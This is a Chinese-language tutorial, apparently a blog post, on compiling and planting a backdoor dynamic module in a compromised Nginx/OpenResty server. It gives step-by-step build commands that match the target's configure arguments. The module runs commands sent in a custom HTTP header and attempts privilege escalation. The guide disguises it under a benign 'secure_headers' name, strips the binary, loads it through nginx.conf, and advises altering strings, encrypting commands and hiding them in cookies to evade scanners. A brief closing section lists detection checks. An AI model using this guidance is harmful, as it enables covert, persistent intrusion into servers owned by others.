Nginx后门模块的编译和使用
Nginx 1.9.11开始支持动态模块
参考文章如下:
https://www.nginx.com/blog/compiling-dynamic-modules-nginx-plus
我们在本地编译自己的模块代码,将编译好的二进制模块文件放入目标运行环境,并在nginx.conf文件中引用,即可达到持久化控制的目的。
适用环境:当拿到目标Nginx服务器较高权限时,可以使用添加后门动态模块的方式进行持久化控制,这样可以免去webshell、计划任务、或者端口复用等容易被发现的方式。
1
搭建编译环境
这里实现针对openresty的nginx后门编译,如果需要单独nginx则只需要下载编译nginx的源码即可。
1. 新建一个文件夹,将openresty的目标版本源码下载到文件夹中:
https://openresty.org/download/openresty-1.19.9.1.tar.gz
(这里的版本号替换成目标相同的,官网未展示的也可以)然后解压:
2. 在文件夹中新建一个Dockerfile,内容为:
FROM centos:centos7
# 指定centos7镜像,这里根据目标的版本变更
COPY openresty-1.19.3.1 /home/openresty-1.19.3.1
# 将当前文件夹下的源码包复制到docker中
RUN yum -y install perl readline-devel pcre pcre-devel openssl openssl-devel gcc curl GeoIP-devel wget
# 安装编译所需依赖
RUN cd /home/openresty-1.19.3.1 && chmod +x configure && ./configure --with-luajit --with-pcre --with-http_gzip_static_module --with-http_realip_module --with-http_geoip_module --with-http_ssl_module --with-http_stub_status_module \
&& make && make install
# 编译openresty
ENV NGINX_HOME=/usr/local/openresty/nginx
# 设置nginx环境变量
ENV PATH $NGINX_HOME/sbin:$PATH
# 将nginx环境变量加入PATH中
EXPOSE 80
# 暴露80端口
3. 在文件夹中执行
docker build -t openresty:build . #注意最后有一个点!
docker会自动进行构建:
成功完成后,openresty的基础编译环境就有了。
4. 在目标环境中运行nginx -V,查看他nginx的编译选项:
做这步的原因在于,nginx加入动态模块时会检查模块签名,也就是检查模块编译时的configure argument和nginx编译时的是否相同,如果不相同nginx会报错。将configure argument: 后面的这一长串复制出来,我们后面简写为${V}
5. 进入我们刚才构建的docker中,cd到openresty的nginx源码文件夹下执行编译命令:
cd /home/openresty-1.19.3.1/bundle/nginx-1.19.3/
chmod +x configure
./configure ${V}
make && make install
代码中的${V}就是我们刚才获得的目标编译参数。这里我们一般会碰到找不到LuaJIT的问题
我们手动把LuaJIT加入PATH中:
export LUAJIT_INC=/usr/local/include/luajit-2.1
export LUAJIT_LIB=/usr/local/lib
再次执行编译,又报错:
百度一下,把缺少的依赖装上:
yum -y install libxml2 libxml2-dev libxslt-devel
再次编译,双报错:
继续装:
yum -y install gd gd-devel
再次编译:
成功!如果叒报错,可能你的目标还有其他依赖,像上面一样百度-安装即可解决,百度不到就股沟。
2
编译后门
现在我们就可以在目标相同的编译签名下编译我们的动态模块了。Github上有大神现成的示例项目:
https://github.com/vgo0/nginx-backdoor
下载代码之后解压。我们需要的只有config和
ngx_http_secure_headers_module.c两个文件。
(readme.md你要想看那更好了)
这里简单解释一下这两个文件的作用:nginx的模块进行编译时,需要一个config文件作为编译配置文件,可以打开文件查看里面的内容:
内容比较清晰,最重要的在第四行的ngx_module_srcs配置,这一步指定了源码文件,也就是我们下载的另一个.c文件。
再来看一下ngx_http_secure_headers_module.c文件中的代码:
比较简单,通俗易懂(?),看个大概也能看出来,此模块会检查header中是否有名为vgo0的header,如果有则拼接到命令中执行,同时会尝试提权。
我们将项目的nginx-backdoor文件夹放入tmp下,在我们上面的一大长串编译指令的末尾加上"--add-dynamic-module=/tmp/nginx-backdoor":
./configure ${V} --add-dynamic-module=/tmp/nginx-backdoor
注意前面的参数要和目标环境中的一致。configure完成后我们编译模块:
make modules
会在当前文件夹下的objs/文件夹下面生成ngx_http_secure_headers_module.so文件,执行:
strip -s objs/ngx_http_secure_headers_module.so
3
插入目标环境
将文件ngx_http_secure_headers_module.so拷贝到目标机器nginx的modules目录下,修改目标nginx总配置文件nginx.conf,在最外层代码层添加:
load_module modules/ngx_http_secure_headers_module.so
重启目标nginx即可生效:
4
利用建议
虽然在默认配置下各平台扫描结果为良性,但是在实际利用时建议修改后门默认配置字符串。这里作为公开代码且命令传输时未加密,很容易被识别,实战中则需要根据需求改写,修改成其他名称或加密方式,或者添加到cookie中进行隐蔽,甚至不使用header而利用其他位置。
建议修改位置:
后门默认配置下扫描结果:
河马扫描结果
vt扫描结果
5
简单排查方法
排查手段(仅讨论后门默认配置):
检查nginx的配置文件是否有改动
检查nginx引用的modules二进制文件中是否有可疑字符串(vgo0、chmod、/bin/sh等)